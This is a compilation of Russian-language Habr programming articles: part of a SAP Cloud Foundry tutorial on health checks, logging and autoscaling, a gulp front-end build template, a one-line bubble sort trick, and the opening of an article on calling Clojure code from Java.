o VCAP\_SERVICES*
Последняя переменная (VCAP\_SERVICES) важна в том случае, если ваше приложение использует привязываемые службы, т.к. Cloud Foundry добавляет к ней сведения о привязке в тот момент, когда вы загружаете приложение после привязки службы к нему. Пример основан на приложении, которое связано со службой postgresql.
**8) Проверка работоспособности приложения**
Проверка работоспособности приложения — это процесс мониторинга, который постоянно проверяет статус приложения, запущенного в Cloud Foundry. В среде Cloud Foundry таймаут по умолчанию составляет 60 секунд, а максимальный настраиваемый таймаут — 180 секунд. В Cloud Foundry доступны три типа проверки работоспособности:
• *http:* — проверка работоспособности типа http выполняется с помощью запроса GET на настроенную конечную точку http. Когда проверка работоспособности получает ответ HTTP 200, приложение считается «здоровым». Конфигурированная конечная точка должна отвечать в течение 1 секунды, чтобы считаться здоровой.
• *port:* — это проверка по умолчанию. Этот тип проверки совершает TCP-соединение с портом или портами, настроенными для приложения (по умолчанию 8080). TCP-соединение должно быть установлено в течение 1 секунды, чтобы считаться приложение считалось «здоровым».
• *process: Diego* гарантирует, что любой процесс, объявленный для приложения, будет работать. Если процесс завершается, Diego останавливается и удаляет экземпляр приложения.
Тип проверки работоспособности может быть указан при перемещении приложения в облако с помощью команды push:
*cf push APP\_NAME -u HEALTH-CHECK-TYPE -t HEALTH-CHECK-TIMEOUT*
Также тип проверки работоспособности приложения можно указать в файле manifest.yml следующим образом:
*— …
health-check-type: http
health-check-http-endpoint: /health
timeout: 120*
С помощью CF CLI можно назначить тип проверки работоспособности уже запущенному приложению, используя следующую команду:
*cf set-health-check APP\_NAME (process | port | http [--endpoint PATH])*
Примеры:
*cf set-health-check APP\_NAME http --endpoint PATH (default to /)
cf set-health-check APP\_NAME port
cf set-health-check APP\_NAME PROCESS\_NAME*
Путём ввода команды *cf set-health-check product-list http --endpoint /*, был установлен тип проверки работоспособности http:
Узнать тип проверки работоспособности для определенного приложения можно с помощью команды *CF CLI cf get-health-check APP\_NAME*. Введите в терминале следующую команду, чтобы узнать тип проверки работоспособности для приложения «Product List»:
*cf get-health-check product-list*
**5. Интеграция с сервисом Application Logging (логирование приложения)**
В этом упражнении вы узнаете, как интегрировать приложение с сервисом Application Logging (логирование приложения) в SAP Cloud Platform, и как визуализировать логи приложения на панелях Kibana с логами компонентов Cloud Foundry.
***1) Логирование***
Рассмотрим исходный код приложения. В нем уже используется библиотека SAP – поддержка логирования для Cloud Foundry: [github.com/SAP/cf-java-logging-support](https://github.com/SAP/cf-java-logging-support). В pom.xml объявлены требуемые зависимости, также доступны конфигурация (logback.xml) и реализация (ConfigLogging).
Откройте Eclipse и перейдите к классу Controller.java в вашем приложении «product-list».
Внутри класса вы увидите объект Logger:
*private static final Logger logger = LoggerFactory.getLogger(Controller.class);*
Метод getProductByName записывает следующие точки входа логов:
*logger.info("\*\*\*First — Retrieving details for '{}'.", name);
logger.info("\*\*\*Second — Retrieving details for '{}'.", name);*
Служба application-logs уже создана и привязана к приложению product-list (это было сделано в предыдущем упражнении).
Перед генерацией логов измените файл logback.xml.
• В Eclipse откройте файл logback.xml. Замените на .
• Сохраните изменения и пересоберите проект. Для этого нажмите правой кнопкой мыши на проект, в появившемся меню выберите Run As… -> Maven Build.
• После успешной сборки проекта вам необходимо будет переустановить приложение в Cloud Foundry.
В командной строке пропишете путь к месту нахождения вашего приложения SpringBoot, и введите команду
*cf push product-list.*
**2) Генерирование логов**
Для генерации логов достаточно вызвать приложение через URL-адрес в панели управления SAP Cloud Platform.
Для генерации логов приложения сделайте запрос в браузере, прописав следующий путь:
*YOUR\_APPLICATION\_URL/productsByParam?name=Notebook Basic 15.*
В панели управления перейдите на вкладку «Logs», которая расположена в меню слева, для приложения «product-list». Затем нажмите на «Open Log Analitic», как показано на скриншоте ниже:
Это должно привести к открытию в браузере следующего URL-адреса: [logs.cf.eu10.hana.ondemand.com](https://logs.cf.eu10.hana.ondemand.com). Чтобы войти в систему, введите почту и пароль, которые вы используете для входа в свою пробную учетную запись в SAP Cloud Platform.
После того, как вы попадете в Kibana, выберете приложение «product-list».
В открывшемся окне выберете «Requests and Logs».
После этого появятся запросы и логи приложения.
Поле msg в логах приложения будет выглядеть несколько странно. Видно, что логи и запросы не связаны, т.к. в логах приложения нет идентификатора корреляции (Correlation ID). Это затрудняет определение принадлежности логов приложения определенным запросам.
*Примечание:* Если вы не видите логи в Kibana, это может быть вызвано тем, что по умолчанию вы видите журналы за последние 15 минут. Вы можете изменить этот интервал — в правом верхнем углу нажмите на надпись «Last 15 minutes» и в открывшемся окне задайте нужный вам интервал.
* Снова перейдите в Eclipse и откройте файл logback.xml. Измените обратно на .
* Сохраните изменения и пересоберите проект. Для этого нажмите правой кнопкой мыши на проект, в появившемся меню выберите Run As… -> Maven Build.
* После успешной сборки проекта вам необходимо будет переустановить приложение в Cloud Foundry. В командной строке пропишете путь к месту нахождения вашего приложения SpringBoot, и введите команду cf push product-list.
* После того, как приложение запустится в пробной учетной записи в Cloud Foundry, перейдите в панель управления SAP Cloud Platform, вызовите приложения «product-list» через URL и добавьте путь, который генерирует журналы: YOUR\_APP\_URL/productsByParam?name=Notebook%20Basic%2015.
* Если Kibana все еще открыта, вы можете просто обновить вкладку, чтобы увидеть последние журналы. Если вы уже закрыли вкладку, снова войдите в панель управления SAP Cloud Platform, выберете приложение «product-list» и нажмите на вкладку «Logs» в меню слева, затем нажмите на «Open Log Analysis».
* Обратите внимание, что теперь поле msg в журналах приложений отображает красивое отформатированное сообщение.
*Примечание:* Дополнительную информацию о логировании приложения в среде Cloud Foundry платформы SAP Cloud Platform вы можете найти в официальной документации: обзор сервиса Application Logging в официальной документации.
**6. Масштабирование приложения**
В этом упражнении вы узнаете, как масштабировать приложение.
Нагрузка системы, количество и характер задач — все эти факторы могут изменять пространство и память на диске, используемые приложением. Для многих приложений увеличение доступного пространства, памяти или запуск большего количества экземпляров (ЦП) может повысить общую производительность. Аналогично, запуск дополнительных экземпляров приложения может позволить приложению регулировать увеличение нагрузки и одновременных запросов. Это регулирование называется масштабированием приложения.
Вы можете масштабировать приложение таким образом, чтобы оно было приспособлено к изменениям в трафике, вы можете масштабировать его вручную через CF CLI или через панель управления SAP Cloud Platform, а также можно настроить автоматическое использование сервиса Application Autoscaler (автоматическое масштабирование приложения) платформы SAP Cloud Platform для вашего приложения.
**1) Подготовительный этап**
Если в вашей учетной записи запущено несколько приложений, вам нужно будет немного почистить ваш аккаунт, чтобы убедиться, что у вас достаточно квоты, чтобы попробовать варианты масштабирования. Оставьте только один экземпляр приложения «Product List» в вашей учетной записи, остальные удалите.
Для этого выполните следующие шаги:
Откройте командную строку и введите команду cf apps, чтобы увидеть список приложений, запущенных в вашей учетной записи.
Если в списке окажется больше одного запущенного приложения «Product List», остановить их, оставив только одно такое приложение, чтобы освободить память для выполнения упражнений по масштабированию. Для этого используйте следующую команду для каждого запущенного приложения, которое вы хотите остановить:
*cf stop APP\_NAME*
*Примечание:* Прежде чем продолжить следующие упражнения, убедитесь, что в вашей учетной записи запущен один экземпляр приложения «Product List». В том случае, если нет ни одного экземпляра, вы можете клонировать шаблон приложения из Github и затем переместить проект в облако с помощью CF CLI (эти процессы рассмотрены во втором и третьем упражнениях статьи).
**2) Вертикальное масштабирование**
Вертикальное масштабирование приложения меняет ограничение на дисковое пространство или ограничение памяти, которое Cloud Foundry применяется ко всем экземплярам приложения. Существует два способа вертикального масштабирования приложения: с помощью CF CLI или через панель управления в SAP Cloud Platform. Рассмотрим оба способа.
CF CLI
Используйте команду *cf scale APP\_NAME -k DISK* для изменения ограничения на дисковое пространство, применяемого ко всем экземплярам вашего приложения. DISK – целое число, после которого необходимо указать M для мегабайт или G для гигабайт.
Используйте команду *cf scale APP\_NAME -m MEMORY* для изменения ограничения памяти, применяемого ко всем экземплярам вашего приложения. MEMORY — целое число, после которого необходимо указать M для мегабайт или G для гигабайт.
Предположим, мы хотим уменьшить масштаб приложения и сделать его более компактным, установив ограничение памяти до 712 МБ. Для этого необходимо ввести следующую команду:
*cf scale APP\_NAME -m 712M*
Выполнение этой команды в CF CLI приведет к перезапуску приложения (вы должны подтвердить перезапуск приложения с помощью ввода «Yes» в консоли). Как только приложение будет перезапущено, вы можете перейти в панель управления в SAP Cloud Platform, открыть приложение «Product List», чтобы убедиться, что теперь оно использует 712 МБ памяти. Вы можете также можете просмотреть информацию о приложении через консоль с помощью команды:
cf app APP-NAME
**Панель управления SAP Cloud Platform**
Ту же операцию вертикального масштабирования можно выполнить через панель управления.
Для этого перейдите к списку приложений в вашем пространстве (вкладка «Applications») и выберете запущенное приложение (щелкните по имени приложения). Затем в меню слева выберете вкладку «Overview». В открывшемся окне найдите секцию, которая содержит информацию о квоте, здесь вы увидите квоту памяти и дисковые квоты для вашего приложения. Вы можете изменить их, нажав кнопку «Change Quota».
Нажмите на кнопку «Change Quota» и в открывшемся окне уменьшите квоту памяти на диске, установив, например, 512 МБ. Нажмите кнопку «Save».
Вы можете проверить, изменилось ли используемое приложением пространство диска, в секции с информацией о квоте во вкладке «Overview» приложения.
Если изменения не вступили в силу, вам понадобится вручную перезапустить приложение. Вы можете сделать это с помощью кнопки «Restart».
**3) Горизонтальное масштабирование**
Горизонтальное масштабирование приложения создает или удаляет экземпляры приложения. Входящие запросы приложения автоматически регулируются по нагрузке во всех экземплярах приложения, и каждый экземпляр обрабатывает задачи параллельно с другими экземплярами. Добавление экземпляров позволяет вашему приложению обрабатывать большее количество трафика и запросов. Существует два способа вертикального масштабирования приложения: с помощью CF CLI или через панель управления в SAP Cloud Platform. Рассмотрим оба способа.
**CF CLI**Используйте команду cf scale APP\_NAME -i INSTANCES для горизонтального масштабирования вашего приложения. Это приведет к увеличению или уменьшению количества экземпляров вашего приложения в соответствии со значением INSTANCES.
К примеру, мы можем горизонтально масштабировать приложение, увеличив число экземпляров приложения до двух, с помощью команды cf scale APP\_NAME -i 2.
Используя команду для отображения информации о приложении, вы увидите, что один экземпляр работает, а другой запущен. Для этого введите команду cf app APP\_NAME.
**Панель управления SAP Cloud Platform**
Вы также можете проводить горизонтальное масштабирование через панель управления. Перейдите к приложению через панель управления. В разделе экземпляров, который можно найти, нажав вкладку «Overview» в меню слева, вы должны увидеть два работающих экземпляра, т.к. мы только что увеличили их количество. В верхней части находятся кнопки «+ Instance» и «- Instance». Нажав на кнопку «- Instance», вы остановите один из работающих экземпляров приложения.
**4) Автоматическое масштабирование**
Мы рассмотрели ручной способ масштабирования приложения, используя команду cf scale в командной строке и панель управления SAP Cloud Platform. Недостатком этого способа является то, что вы обычно выполняете эти действия только в том случае, если замечаете, что производительность вашего приложения ухудшилась. Существует риск, что ваше приложение выйдет из строя, если масштабирование не будет выполнено в соответствующее время. Поэтому иногда лучше иметь возможность автоматического масштабирования, что позволит предотвратить сбои приложения.
Рассмотрим, как осуществить возможность автоматического масштабирования приложения на основе пользовательских политик масштабирования для удовлетворения изменений в трафике или в запросах с помощью службы Application Autoscaler платформы SAP Cloud Platform.
**Создание нагрузки на приложение**
Мы рассмотрим автоматическое масштабирование, основанное на увеличении использования памяти. Для этого подготовим симуляцию процесса, увеличивающего использование памяти в приложении «Product List».
Перейдите к классу Controller приложения в Eclipse и добавьте следующую конечную точку API.
*@GetMapping("/scaleup")
public String scaleUp() {
String str = "";
HashMap h = null;
for (int i = 0; i < 100000; i++) {
h = new HashMap<>();
String key = new String(«key»);
Double value = new Double(100.98);
h.put(key, value);
str = str + h.toString();
}
return «success»;
}*
Это создаст большое количество нежелательных объектов, что увеличит использование памяти.
В этом же классе добавьте импорт *import java.util.HashMap;*.
Теперь добавим действие для запуска API, увеличивающего использование памяти.
Перейдите к файлу index.html, расположенного по пути src/main/resources/index.html и добавьте следующий фрагмент под комментарием Insert the code to increase the memory of the application в этом файле:
*/\* Adding Toolbar to the UI \*/
var toolBar = new sap.m.Toolbar();
var memButton = new sap.m.Button({
title: «Scale Up»,
press: function (oEvent) {
jQuery.sap.require(«sap.m.MessageBox»);
sap.m.MessageBox.show(
«This will scale up the memory of the application», {
icon: sap.m.MessageBox.Icon.INFORMATION,
title: «ScaleUp Application»,
actions: [sap.m.MessageBox.Action.OK],
onClose: function(oAction) {
var oScaleModel = new sap.ui.model.json.JSONModel();
var scaleUpUrl = document.URL + «scaleup»;
oScaleModel.loadData(scaleUpUrl);
console.log(scaleUpUrl);
}
}
);
}
});
memButton.setText(«Scale Up»);
toolBar.addContent(memButton);
productList.setHeaderToolbar(toolBar);*
Сохраните изменения в проекте. Теперь вам нужно пересобрать проект и загрузить его в облако:
* Нажмите правой кнопкой мыши на проект, в появившемся меню выберите Run As… -> Maven Build.
* После успешной сборки проекта вам необходимо будет переустановить приложение в Cloud Foundry.
* После того, как приложение запустится в пробной учетной записи в Cloud Foundry, перейдите в панель управления в SAP Cloud Platform, вызовите приложения «product-list» через URL.
* В приложении должна появится кнопка «Scale Up». Пока что не нажимайте на неё.
* Проверьте использование памяти приложением, используя команду *cf app* (или через панель управления SAP Cloud Platform во вкладке «Overview» приложения).
* Теперь нажмите на кнопку «Scale Up» в приложении, открытом в браузере.
* Повторно проверьте использование памяти спустя несколько секунд с помощью команды *cf app* (или через панель управления SAP Cloud Platform во вкладке «Overview» приложения).
Использование памяти должно резко увеличиться.
Теперь, когда мы подготовили наше приложение, давайте рассмотрим, как воспользоваться службой Application Autoscaler для автоматического масштабирования приложения, когда использование памяти увеличивается и выходит за рамки.
**1) Создание экземпляра службы и определение правил масштабирования**Создать экземпляр службы и определить правила масштабирования можно не только через CF CLI, но и с помощью панели управления SAP Cloud Platform. Давайте воспользуемся панелью управления.
Перейдите в свою пробную учетную запись, выбрав то пространство, в котором запущено приложение «Product List» (обычно это «dev»). Нажмите на вкладку «Services» в меню слева и в выпавшем списке выберете «Service Marketplace». В открывшемся окне вы должны увидеть сервис Application Autoscaler. Нажмите на этот сервис.
В открывшемся окне в меню слева выберете вкладку «Instances» и нажмите на кнопку «New Instance».
Появится окно создания экземпляра.
На первом этапе вам нужно выбрать план обслуживания. Для пробных учетных записей доступна только план «Lite», поэтому просто нажмите кнопку «Next».
Следующий шаг вы можете пропустить, так как вы можете указать параметры во время приложения. Поэтому нажмите кнопку «Next».
Следующий шаг вы также можете пропустить, нажмите на кнопку «Next».
В качестве последнего шага укажите имя экземпляра службы, например, «myautoscaler». Нажмите кнопку «Finish».
В результате будет создан экземпляр службы Application Autoscaler.
**2) Привязка приложения к экземпляру службы**
После создания экземпляра службы вы снова попадете во вкладку с экземплярами службы «Application Autoscaler». Нажмите на экземпляр, который вы только что создали:
В открывшемся окне с информацией об этом экземпляре, нажмите на кнопку «Bind Instance».
Откроется окно создания привязки службы. Выберете приложение «product-list» в списке приложений.
Затем вы должны указать параметры масштабирования. Правила масштабирования экземпляра приложения определяются в формате JSON. Обычно вы создаете файл JSON и предоставляете его в качестве конфигурации. Для нашего примера вы можете скопировать и вставить фрагмент, представленный ниже:
*{
«instance\_min\_count»: 1,
«instance\_max\_count»: 3,
«scaling\_rules»: [
{
«metric\_type»: «memoryused»,
«stat\_window\_secs»: 60,
«breach\_duration\_secs»: 60,
«threshold»: 400,
«operator»: ">=",
«cool\_down\_secs»: 60,
«adjustment»: "+1"
}
]
}*
Служба увеличит экземпляр на 1 [adjustment: +1], когда память будет превышать пороговое значение. Вы можете отрегулировать значения в соответствии с требованиями вашего приложения. Аналогичным образом вы можете добавить любое другое правило масштабирования. Например, для уменьшения масштаба, когда использование памяти падает ниже определенного порогового значения.
В том же окне создания привязки поставьте галочку рядом с «Specify Parameters», появится поле, куда можно будет вставить данный фрагмент. Вставьте фрагмент кода и нажмите «Save».
Теперь давайте посмотрим, как сервис «Application Autoscaler» помогает приложению масштабироваться автоматически на основе его показателей.
1) Перезагрузите приложение, чтобы изменения вступили в силу (для этого переместитесь в панель управления, на вкладке «Applications» выберете приложение «Product List», затем нажмите «Overview» и в открывшемся окне нажмите «Restart»);
2) Запустите приложение в браузере, нажав на URL-адрес приложения;
3) Проверьте использование памяти приложения с помощью команды *cf app* в CF CLI, или используя панель управления SAP Cloud Platform (информацию можно найти на вкладке «Overview»);
4) Теперь нажмите на кнопку «Scale Up» в приложении, открытом в браузере;
5) Снова проверьте память приложения через несколько секунд с помощью команды *cf app* в CF CLI, или используя панель управления в SAP Cloud Platform (информацию можно найти на вкладке «Overview»);
6) Использование памяти должно увеличиться до такого значения, которое будет выше порогового значения, определенного в политике масштабирования (это значение вы указывали ранее в параметрах привязки в поле threshold). Если этого не произошло, повторите шаги 3 и 4.
7) Когда использование памяти превысит пороговое значение (threshold), а значение времени будет превышать значение *breach\_duration\_secs*, указанное в политике масштабирования, сервис «Application Autoscaler» увеличит экземпляр приложения на 1.
8) Проверьте количество экземпляров приложения с помощью команды *cf app* в CF CLI, или используя панель управления в SAP Cloud Platform (информацию можно найти на вкладке «Overview»).
**Заключение**
Итак, среда Cloud Foundry на базе платформы SAP Cloud Platform является отличным решением для тех, кто хочет быстро и без особых затруднений разработать облачное приложение и добавить в него возможности мониторинга, масштабирования и обновления.
В ходе данной мы рассказали о следующих этапах по работе с Cloud Foundry на SAP Cloud Platform:
* Получение доступа к пробной учетной записи SAP Cloud Platform для среды Cloud Foundry;
* Улучшение приложения с помощью дополнительных функций и базовыех концепций Cloud Foundry, таких как сторонние службы;
* Работа с пробной учетной записью в среде Cloud Foundry и с приложением через SAP Cloud Platform и интерфейс командной строки Cloud Foundry (CF CLI);
* Использование платформ приложений, таких как Spring и Spring Boot для эффективного создания приложений;
* Осуществление контроля, масштабирования и обновления вашего приложения. | https://habr.com/ru/post/350690/ | null | ru | null |
# Автоматизированный шаблон для front-end проектов
Человек изобрел компьютеры, чтобы они выполняли за нас большую часть повторяющихся задач. Это позволяет нам экономить много времени и использовать его с максимальной пользой. И, так как эта статья о front-end разработке, в этой области таких задач много: компиляция css- и js-препроцессоров, сборка спрайтов, оптимизация изображений, минификация файлов и др.
Сейчас автоматизировать эти задачи нам помогают [prepros](http://alphapixels.com/prepros/), [codekit](https://incident57.com/codekit/), [grunt](http://gruntjs.com), [gulp](http://gulpjs.com) и подобные инструменты.
У меня был опыт работы с каждым из 4 перечисленных, но остановился я на gulp по следующим причинам:
* Gulp менее требователен к ресурсам системы, чем GUI-программы;
* он очень быстрый. В сравнении с gulp-ом, grunt работает медленно. Настолько медленно, что я успевал переключиться с редактора на браузер и обновить страницу, а новые стили все еще не были скомпилированы. Gulp с этим справляется куда лучше;
* способ описания тасков в gulp мне показался проще.
С началом нового проекта мне приходилось делать одну и ту же работу: устанавливать gulp и необходимые модули, писать задачи, организовывать файловую структуру проекта и создавать необходимые первоначальные файлы. В каждом проекте я применял ранее использованные решения. Таким образом, у меня собрался приличный набор, который автоматизирует большую часть рутинных задач и позволяет сконцентрироваться на разработке.
В какой-то момент я решил создать базу наработок, на основе которой можно быстро развернуть работу над новым проектом. И я хочу [поделиться этим шаблоном](https://github.com/Krekotun/fabium) с вами.
Этот шаблон не является панацеей. У каждого свои потребности и, вероятно, для максимальной пользы вам придется настроить его под себя.
Что под капотом?
----------------
#### Автоматизированные задачи
* Компиляция [Stylus](http://learnboost.github.io/stylus/);
* Компиляция [CoffeeScript](http://coffeescript.org/);
* Компиляция [Jade](http://jade-lang.com/)-шаблонов;
* Сборка спрайтов и генерация стиля для них (ранее я публиковал [статью](http://habrahabr.ru/post/227945/) об этом);
* Добавление вендорных префиксов к свойствам;
* Минификация css и js;
* Оптимизация картинок.
#### Файловая структура
Первый уровень проекта — папки `builder`, `src` и `built`.
`builder` — папка в которой лежит `gulpfile` с тасками для gulp, где будут лежать `node`-модули и откуда буду запускаться все команды в консоли.
В папке `src` лежат все исходные файлы проекта, а папка `built` создается и изменяется автоматически при выполнении команд gulp-а.
##### Содержимое папки `src`
* `assets`
+ `styles` — стили проекта
+ `images`
- `design` — изображения, предназначенные для оформления сайта
- `content` — изображения, используемые в контенте страницы
+ `scripts`
- `local` — скрипты, написанные в рамках этого проекта
- `vendor` — сторонние библиотеки
* `templates`
+ `pages` — шаблоны страниц
+ `blocks` — блоки, из которых будут собираться страницы
Как все работает?
-----------------
В `gulpfile.coffee` описаны таски, которые выполняют ту или иную работу. Таски можно вызывать по отдельности и группами. Вызов группами — самый частый юзкейс.
Все gulp-плагины загружаются автоматически из `package.json` с помощью плагина `gulp-load-plugins`. Это позволяет уменьшить объем `gulpfile.coffee`.
Все пути к файлам и папкам вынесены в переменные и описаны в файле `config.yml`.
#### Задачи
* `sprite` — генерация спрайта на основе картинок, которые лежат в папке `config.paths.src.sprites.images.all`;
* `coffee` — компиляция `.сoffee` из папки `local`;
* `vendor` — перенос скриптов из папки `vendor` в `built`;
* `stylus` — компиляция `.styl`;
* `images` — перенос картинок в `built` папку;
* `jade` — компиляция `.jade`-шаблонов;
* `autoprefixer` — добавление вендорных префиксов (настройки по умолчанию);
* `scripts:min` — минификация скриптов;
* `styles:min` — минификация стилей;
* `images:min` — оптимизация картинок;
* `watch` — отслеживание изменений в файлах и запуск необходимого таска.
#### Группы задач
* `default` — компилирует шаблоны, скрипты, стили, собирает спрайты;
* `dev` — включает в себя `default` и задачу `watch`;
* `minify` — сжимает файлы и оптимизирует картинки, которые были созданы после работы `default`;
* `prod` — таск который запускается на сервере или перед заливкой на сервер. Он выполняет группу `default` и после этого запускает `minify`.
Системные требования
--------------------
* node.js;
* gulp;
* coffee-script — для запуска gulpfile.coffee. При желании можно перевести `.coffee` в `.js`.
Установка
---------
1. Если у вас не установлен node.js, [скачайте](http://nodejs.org) и установите. Вместе с node.js у вас установится пакетный менеджер `npm`;
2. Затем установите `coffee-script` и `gulp`, введя в консоли команду (понадобятся права администратора)
```
npm i -g coffee-script gulp
```
После этих шагов, можно приступать к инициализации самого проекта.
1. [Скачайте](https://github.com/Krekotun/fabium) и распакуйте архив с шаблоном;
2. в консоли откройте папку `builder` и введите `npm i`. Пойдет процесс скачивания и установки всех перечисленных в `package.json` модулей.
После завершения установки, можно смело напечатать `gulp` в консоли и отработает группа задач `default`
Проблемы
--------
Если при запуске `gulp` система выдает ошибку о том, что не найден модуль `coffee-script/register`, нужно установить переменную NODE\_PATH, которая дает понять системе, где лежат глобальные модули.
Ссылки на решения:
* <http://stackoverflow.com/questions/9587665/nodejs-cannot-find-installed-module-on-windows>
* <http://stackoverflow.com/questions/12594541/npm-global-install-cannot-find-module>
Заключение
----------
Шаблон будет постоянно дорабатываться. В ближайшее время я собираюсь добавить следующий функционал:
* набор миксинов для Stylus;
* JSHint;
* конкатенация js;
* bower.
Также в планах подготовить grunt-версию с аналогичным фунционалом.
Быстрые ссылки
--------------
* Репозиторий шаблона — <https://github.com/Krekotun/fabium>
* [node.js](http://nodejs.org)
* [Gulp](http://gulpjs.com)
* [Stylus](http://learnboost.github.io/stylus/)
* [CoffeeScript](http://coffeescript.org/)
* [Jade](http://jade-lang.com/) | https://habr.com/ru/post/239573/ | null | ru | null |
# Сортировка в одну строку
Имеем обычный «пузырек»:
```
for(int i = 0; i < n - 1; i++ )
for(int j = i + 1; j < n; j++)
if(ar[i] > ar[j])
{
int temp = ar[i];
ar[i] = ar[j];
ar[j] = temp;
}
```
Задача №1: Избавиться от временной переменной. Делается это вот таким макаром:
```
ar[i] ^= ar[j] ^= ar[i] ^= ar[j];
```
Задача №2: Избавиться от if.
Делается еще проще:
```
(ar[i] > ar[j]) ? ar[i] ^= ar[j] ^= ar[i] ^= ar[j] : 0;
```
Задача №3: Основная. Избавиться от внутреннего цикла for по j.
Для этого следует: 1) Итерировать от j до n, при этом в условии всегда возвращать true 2) Проверять условие конца алгоритма, только когда вся итерация по j прошла
3) При проверке условия, делать j = i + 1, i = i + 1.
Результат таков:
```
for(int i = 0, j = 0;
j < n ? 1 : i < n - 1;
j = j < n ?
((ar[i] > ar[j] ? ar[i] ^= ar[j] ^= ar[i] ^= ar[j] : 0),
( j + 1 ))
: ++i // иначе j=n, идем на следующую итерацию
);
```
[Исходник](http://dl.dropbox.com/u/5239550/Habrahabr/onelinesort.cpp) | https://habr.com/ru/post/144510/ | null | ru | null |
# Управление RGB лентой с помощью Arduino и драйвера L298N
Здравствуйте Хабр-сообщество.
В данное время стали доступны светодиодные ленты с изменяемым цветом свечения. Они классно выглядят, не дорого стоят и их можно хорошо приспособить для декоративной подсветки интерьера, рекламы, и т.д.
К таким лентам можно купить источник питания, диммер, диммер с пультом управления. Это позволит вам использовать светодиодную ленту для посветки. Однако если вы захотите запрограммировать алгоритм изменения цвета, или сделать управление из компьютера — то тут начинается разочарование. Вы в продаже не найдете диммеров с управлением через COM-порт или Ethernet.
Я решил эту проблему с помощью Arduino, и хочу поделиться своим вариантом решения с Вами.
Добро пожаловать под кат.
#### Теоретическая часть
Для реализации плавного изменения свечения всех 3 каналов нам потребуется сделать собственный димер. Сделать его очень просто, для этого требуется взять силовые ключи и управлять ими с помощью ШИМ сигнала. Также наш диммер должен быть программируемым и/или управляемым из вне.
В качестве мозгов идеально подходит Arduino. В её программу можно записать любой алгоритм изменения цветов, а также её можно управлять как с помощью модулей Arduino, так и удаленно по Ethernet, Ик-порту, Bluetooth, используя соответствующие модули.
Для реализации задуманного я выбрал Arduino Leonardo. Она одна из самых дешевых плат Arduino, и она имеет много выводов с поддержкой ШИМ.
> PWM: 3, 5, 6, 9, 10, 11, and 13. Provide 8-bit PWM output with the analogWrite() function.
И так, источник ШИМ у нас имеется, остаётся придумать с силовыми ключами. Если побродить по интренет магазинам, то выяснится, что не существует модуля Arduino для управления RGB лентами. Или просто универсальных модулей с силовыми транзисторами. Также можно найти огромное количество сайтов радиолюбителей, которые делают платы с силовыми ключами сами.
Однако есть способ проще! Нас выручит модуль Arduino для управления двигателями. Этот модуль имеет все необходимое для нас — на нем установлены мощные ключи на 12В.
Пример такого модуля является «L298N Module Dual H Bridge Stepper Motor Driver Board Modules for Arduino Smart Car FZ0407». Такой модуль основан на микросхеме L298N, которая представляет из себя 2 моста. Однако мостовое включение полезно для двигателя (от этого он может менять направление вращения), а в случае RGB ленты, оно бесполезное.
Мы будем использовать не весь функционал этой микросхемы, а только 3 её нижних ключа, подключив ленту как показано на рисунке.
#### Практическая часть часть
Для реализации потребуется Arduino Leonardo, Модуль управления двигателями L298N, Источник 12В (для запитки ленты), сама RGB лента, соединительные провода.
Для удобства подключения я еще использовал Fundruino IO Expansion, но он никакой функциональной нагрузки не несет.
Схема подключения показана на рисунке.
Хочу дополнительно описать питание системы. В данной схеме питание подается на модуль управления двигателями, в нем стоит понижающий источник питания на 5В, и эти 5В я подаю на вход Vin питания Arduino. Если разорвать эту связь (естественно земли оставив соединенными), то запитывать Arduino и силовые ключи можно от разных источников питания. Это может быть полезно когда к Arduino много всего подключено, и источник в модуле управления двигателями не справляется (выключается по перегреву).
Управляется RGB лента с помощью команд analogWrite, которая настраивает выход для формирования ШИМ сигнала.
Исходный код программы для arduino:
```
#define GRBLED_PIN_R 9 // пин для канала R
#define GRBLED_PIN_G 10 // пин для канала G
#define GRBLED_PIN_B 11 // пин для канала B
int rgbled_r=0, rgbled_g=0, rgbled_b=0;
void setup(){
//enable serial datada print
Serial.begin(9600);
Serial.println("RBG LED v 0.1");
// RGBLED
pinMode(GRBLED_PIN_R, OUTPUT);
pinMode(GRBLED_PIN_G, OUTPUT);
pinMode(GRBLED_PIN_B, OUTPUT);
}
void loop(){
// change color
rgbled_r = (rgbled_r+1)%1024;
rgbled_g = (rgbled_g+2)%1024;
rgbled_b = (rgbled_b+3)%1024;
// Output
Z1_output_rgbled();
delay(1);
}
void Z1_output_rgbled() {
analogWrite(GRBLED_PIN_R, rgbled_r);
analogWrite(GRBLED_PIN_G, rgbled_g);
analogWrite(GRBLED_PIN_B, rgbled_b);
}
```
На видео можно увидеть как это работает:
#### Экономическая часть
| Модуль | Стоимость | Количество |
| --- | --- | --- |
| L298N Module Dual H Bridge Stepper Motor Driver Board Modules for Arduino Smart Car FZ0407 | $ 5.31 | 1 |
| Leonardo R3 Development Board for Arduino Compatiblae + USB Cable Wire FZ0437 | $ 10.00 | 1 |
| 5050 LED Strip RGB and single color 5M DC12V/24V 60leds/m Waterproof Flexible Car auto Strip Light saving light | $ 12.38 | 1 |
| Retail AC85~265V to DC 12V/6A power supply adaptor transformer switching for led light | $ 9.98 | 1 |
Итого $37,65 = 1 300 руб
#### Вместо заключения
Для тех, кто захочет повторить описанную здесь схему — хочу заметить, что драйвер L298N рассчитан на ток 2-3А на канал, а RGB светодиодные ленты, на светодиодах 5050 с плотностью 60 светодиодов на метр, продающиеся по 5 метров, могут потреблять до 6А (2А на канал). По этому если вы хотите использовать ленты длинной более 5М — возможно потребуется схему модернизировать (подключать ленту по сегментам, или взять более мощный драйвер). | https://habr.com/ru/post/224621/ | null | ru | null |
# Интегрируем clojure-библиотеку в java-приложение
Язык Clojure отличается очень тесной интеграцией с Java. Прямое использование Java-библиотеки в приложении на Clojure — дело совершенно простое и обыденное. Обратная интеграция несколько сложнее. В этой статье указаны некоторые варианты интеграции кода на Clojure в Java-приложение.
В качестве примера возьмем следующий код:
```
(ns clj-lib.core
(:use clj-lib.util))
(defn prod
([x] (reduce * x))
([s x] (reduce * s x)))
(defprotocol IAppendable
(append [this value]))
(extend-protocol IAppendable
Integer (append [this value] (+ this value))
String (append [this value] (str this "," value)))
(defmulti pretty type)
(defmethod pretty Integer [x] (str "int " x))
(defmethod pretty String [x] (str "str " x))
```
Тут нету глобальных переменных, в случае необходимости для них можно создать отдельные get-функции. Объявлен мультиметод и протокол — их также можно использовать из Java.
Стандартные интерфейсы Java
---------------------------
